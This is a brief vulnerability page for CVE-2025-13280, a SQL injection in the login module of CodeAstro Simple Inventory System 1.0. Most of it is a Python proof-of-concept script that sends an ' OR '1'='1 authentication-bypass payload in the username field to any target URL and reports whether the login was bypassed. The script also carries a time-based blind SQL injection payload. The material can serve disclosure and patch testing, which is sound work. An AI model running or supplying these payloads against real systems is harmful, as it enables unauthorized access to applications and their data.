CVE-2025-13280 CodeAstro Simple Inventory System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13280 PoC - SQL Injection in CodeAstro Simple Inventory System # Target: CodeAstro Simple Inventory System 1.0 # Component: /index.php Login module # Parameter: Username target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/index.php" # Basic authentication bypass payload payload_basic = "' OR '1'='1" # Time-based blind SQL injection payload for data extraction payload_blind = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)---" data = { 'username': payload_basic, 'password': 'any', 'login': 'submit' } print(f"[*] Testing CVE-2025-13280 on {target_url}") print(f"[*] Payload: {payload_basic}") try: response = requests.post(target_url, data=data, timeout=10) if 'dashboard' in response.text.lower() or response.status_code == 302: print("[+] VULNERABLE! Authentication bypass successful") else: print("[-] Target may not be vulnerable or already patched") except Exception as e: print(f"[!] Error: {e}")